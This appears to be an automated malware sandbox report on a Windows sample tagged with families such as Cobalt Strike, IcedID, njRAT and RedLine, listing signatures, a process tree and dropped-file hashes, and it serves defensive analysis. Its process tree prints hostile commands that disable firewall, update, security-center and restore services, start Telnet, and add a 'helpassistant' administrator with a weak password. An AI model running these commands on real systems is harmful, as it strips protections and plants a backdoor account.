Overview

overview

9

Static

static

3

2026-05-28...te.exe

windows10-2004-x64

9

2026-05-28...te.exe

windows11-21h2-x64

9

Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    28/05/2026, 14:35

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-05-28_553cd096fe2eb222e89319bead36a308_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
  • Size 9.8MB
  • Sample260528-ryblpacv6x
  • SHA256 636cbd7c2e16bf9cdd4e27b8675e7b01f60c8063dae74c097de262898e8d85d5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasiondiscoveryexecution

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Executes dropped EXE 4 IoCs
  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

    discovery
  • Drops file in System32 directory 8 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 34 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Runs net.exe
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-05-28_553cd096fe2eb222e89319bead36a308_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-28_553cd096fe2eb222e89319bead36a308_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe"
    1⤵
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4144
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5956
    • C:\Windows\SysWOW64\UpdatAuto.exe
      C:\Windows\system32\UpdatAuto.exe
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4876
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4836
    • C:\Users\Admin\AppData\Local\Temp\2026-05-28_553cd096fe2eb222e89319bead36a308_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4.exe
      2026-05-28_553cd096fe2eb222e89319bead36a308_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4.exe
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4824
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
        3⤵
        • System Location Discovery: System Language Discovery
        PID:5276
      • C:\Windows\SysWOW64\UpdatAuto.exe
        C:\Windows\system32\UpdatAuto.exe
        3⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Drops file in Program Files directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4956
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2760
      • C:\Users\Admin\AppData\Local\Temp\2026-05-28_553cd096fe2eb222e89319bead36a308_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4~4.exe
        2026-05-28_553cd096fe2eb222e89319bead36a308_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4~4.exe
        3⤵
        • Executes dropped EXE
        PID:2780
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c net stop sharedaccess
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:440
        • C:\Windows\SysWOW64\net.exe
          net stop sharedaccess
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5784
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop sharedaccess
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2456
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c net stop wuauserv
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2632
        • C:\Windows\SysWOW64\net.exe
          net stop wuauserv
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4776
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop wuauserv
            5⤵
            • System Location Discovery: System Language Discovery
            PID:4020
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c net stop wscsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4488
        • C:\Windows\SysWOW64\net.exe
          net stop wscsvc
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4608
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop wscsvc
            5⤵
            • System Location Discovery: System Language Discovery
            PID:4056
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c net stop srservice
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:976
        • C:\Windows\SysWOW64\net.exe
          net stop srservice
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4588
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop srservice
            5⤵
            • System Location Discovery: System Language Discovery
            PID:5832
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c net start TlntSvr
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5732
        • C:\Windows\SysWOW64\net.exe
          net start TlntSvr
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:8
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 start TlntSvr
            5⤵
            • System Location Discovery: System Language Discovery
            PID:5680
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c net user helpassistant 123456
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3504
        • C:\Windows\SysWOW64\net.exe
          net user helpassistant 123456
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:796
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 user helpassistant 123456
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1868
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c net localgroup administrators helpassistant /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5980
        • C:\Windows\SysWOW64\net.exe
          net localgroup administrators helpassistant /add
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:384
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 localgroup administrators helpassistant /add
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1804
      • C:\Windows\SysWOW64\sc.exe
        sc config srservice start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2944
      • C:\Windows\SysWOW64\sc.exe
        sc config SharedAccess start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:3672
      • C:\Windows\SysWOW64\sc.exe
        sc config wuauserv start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:5904
      • C:\Windows\SysWOW64\sc.exe
        sc config wscsvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:3192
      • C:\Windows\SysWOW64\sc.exe
        sc config srservice start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:5436

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        7z.exe
        • Path C:\Program Files\7-Zip\7z.exe
        • Size 5.4MB
        • SHA256 9a97a865561e74ecc6bea83e2a618a71f76a8c6dff74c4a896dd3059f566e1e9
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        7z.exe
        • Path C:\Program Files\7-Zip\7z.exe
        • Size 10.3MB
        • SHA256 51d0a7a0c3d5b67617b3e6e10f844da4ad5ff0a163a818c11179a386f20dadb4
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        7zFM.exe
        • Path C:\Program Files\7-Zip\7zFM.exe
        • Size 5.8MB
        • SHA256 80e4c252a5902cc372bc5b8b5e189dc2e538ea98fa502f50463160229778fae0
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        7zFM.exe
        • Path C:\Program Files\7-Zip\7zFM.exe
        • Size 10.7MB
        • SHA256 076b930fc57457ad889905b9acb36908b9057db62056dc6ee7a8ed547bd9c680
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        7zG.exe
        • Path C:\Program Files\7-Zip\7zG.exe
        • Size 10.4MB
        • SHA256 61affab972891cb7f99fbb1e09b09bad1d96459a87560d0ac0907221e6b20346
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        7zG.exe
        • Path C:\Program Files\7-Zip\7zG.exe
        • Size 5.6MB
        • SHA256 42610042cbd25fe512757c0b00769bfa28bc7dfcf606dbe9a094a4fbcea1a851
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Uninstall.exe
        • Path C:\Program Files\7-Zip\Uninstall.exe
        • Size 4.9MB
        • SHA256 c7ec74db8855d7e2626d6e9c93183c07bac7d09863323fa5bbecf31836ce3904
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Uninstall.exe
        • Path C:\Program Files\7-Zip\Uninstall.exe
        • Size 9.8MB
        • SHA256 9e81d097d4db671ba97292cc975d4bfb422d03150d90f2feacdfc75bf41fffb2
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        chrome_pwa_launcher.exe
        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\chrome_pwa_launcher.exe
        • Size 6.6MB
        • SHA256 9c0b04c6a4403f4958a3a1c8b04b31c4626bd26ea37f98b837130f3aff321fc4
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        elevated_tracing_service.exe
        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevated_tracing_service.exe
        • Size 8.3MB
        • SHA256 91f9421fd8fcd2464f80eb58529184bc666ea24bc27aaa32b2fcd6aee2a7f869
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        chrome.exe
        • Path C:\Program Files\Google\Chrome\Application\chrome.exe
        • Size 7.9MB
        • SHA256 f712ed9d60234bc77bb35571221b0fdc8e0b41c26c2c6473cb85dcbf8d74d9f9
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        chrome_proxy.exe
        • Path C:\Program Files\Google\Chrome\Application\chrome_proxy.exe
        • Size 6.3MB
        • SHA256 7d2dba5688fbaa99af08cac3dae63c9b1ff2a470c7096baa3ea84ca105242fce
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        dotnet.exe
        • Path C:\Program Files\dotnet\dotnet.exe
        • Size 5.0MB
        • SHA256 2d84d064e07e5e44434222e928045e7cb989059c26dc869e3bd68d28bf0005d9
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        dotnet.exe
        • Path C:\Program Files\dotnet\dotnet.exe
        • Size 9.9MB
        • SHA256 62bc78b6c24fd0861a1a9c886bd82771981aa6413e76ab037a9f496ad9fe3776
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        createdump.exe
        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe
        • Size 4.9MB
        • SHA256 489e3204b85bd8fad78bbf8b18c753aaa68471cc0cf78e493c263563984d4d4f
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        createdump.exe
        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe
        • Size 9.8MB
        • SHA256 25d12ed446f4605e094507bb3620ba84fba80c672836623d3eb1b0d2af0143d7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        createdump.exe
        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe
        • Size 4.9MB
        • SHA256 b8ab75e5594657cb360c34522f9c96ac01b013c036be54d6ea39ccb651325b10
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        createdump.exe
        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe
        • Size 9.8MB
        • SHA256 cb272caac1ae11c0dd1149f45ac4ecf6c63b51dcbe3210100f3087b3fa010202
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        createdump.exe
        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe
        • Size 9.8MB
        • SHA256 7a836c97adb10da5b450200785a6bf20ca158852405cbd6e0ed2b7fb5a215cd9
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        createdump.exe
        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe
        • Size 4.9MB
        • SHA256 af3d1aee2c575a638ffa1ea03b5d89fa79f842b64114a9ffe4a3ed99199a4485
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        2026-05-28_553cd096fe2eb222e89319bead36a308_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4.exe
        • Path C:\Users\Admin\AppData\Local\Temp\2026-05-28_553cd096fe2eb222e89319bead36a308_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4.exe
        • Size 4.9MB
        • SHA256 56f31e8f36ad8c2aa0186927a021a630d886b366b8eda227bcc5c5223eb7cd97
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        2026-05-28_553cd096fe2eb222e89319bead36a308_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4~4.exe
        • Path C:\Users\Admin\AppData\Local\Temp\2026-05-28_553cd096fe2eb222e89319bead36a308_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4~4.exe
        • Size 20KB
        • SHA256 a0baf8e8fba91236a8820d5fef634232f53a505f10b846f4a5af8cceaa135286
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Option.bat
        • Path C:\Windows\SysWOW64\Option.bat
        • Size 53B
        • SHA256 0bc485263cf8a962e64db0b88f156f2a9af1b81ecfdb1cf9111d497e85df70f3
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        UpdatAuto.exe
        • Path C:\Windows\SysWOW64\UpdatAuto.exe
        • Size 4.9MB
        • SHA256 249b226244ba893cd60f97c0839c6dbe9cb20c2a83cadd0fd591ab7c4a349dab
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 4.9MB
        • SHA256 08be6c81be6773bf3e710a23fd5eedaa9cc19dc38268cd64efd81b53c1780d18
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 4.9MB
        • SHA256 c658de1b2ff63e315371804e588f04147a74b2cbac0e4f5d4dff24ab1d1f9b3c
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 4.9MB
        • SHA256 c62df1426f133e6ec7fb35075f35a21e696d14e205f18808a8907815836879ca
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 4.9MB
        • SHA256 894ddf0d9c578ca703d2d7edf1646b054b17475f16159fe7cb0f9d43522cefdd
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 4.9MB
        • SHA256 c3f0c576ccb00055deeb271c69b965794589b72639d9281414a49e0d3deb0dcb
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 4.9MB
        • SHA256 3328975c7b07456d4917cd475d57bec862c1f5be1412c8c29cdbf079865ec69a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download